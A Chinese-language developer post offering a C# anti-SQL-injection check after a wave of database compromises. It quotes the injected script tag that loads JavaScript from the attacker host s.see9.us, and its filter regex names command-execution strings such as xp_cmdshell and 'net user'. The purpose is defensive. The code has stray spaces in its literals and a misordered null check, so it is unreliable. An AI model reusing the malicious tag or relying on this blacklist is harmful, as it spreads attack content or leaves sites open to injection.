asp,.net防注入程式及代碼（s.see9.us掛馬解決方案）

最近很多網站資料庫被掛馬，出現類似 "> </title> <script src=http://s.see9.us/s.js> </script> 的字元，現在給大家提供asp和.net的解決方案

 

C#防注檢查代碼

 ///   <summary>
        ///   防注入字串檢查
        ///   </summary>
        ///   <param   name= "str "> 待檢查的字串 </param>
        ///   <returns> </returns>
        public   static   bool   StringCheck(string   str)
        {
                if   (str.Trim()   ==   " "   ||   str   ==   null)
                {
                        return   true;
                }
                else
                {
                        Regex   re   =   new   Regex(@ "\s ");
                        str   =   re.Replace(str.Replace( "%20 ",   "   "),   "   ");
                        string   pattern   =   @ "select   |insert   |delete   from   |count\(|drop   table|update   |truncate   |asc\(|mid\(|char\(|xp_cmdshell|exec   master|net   localgroup   administrators|:|net   user| " "|\ '|   or   ";
                        if   (Regex.IsMatch(str,   pattern))
                        {
                                return   false;
                        }
                        else
                        {
                                return   true;
                        }
                }
        }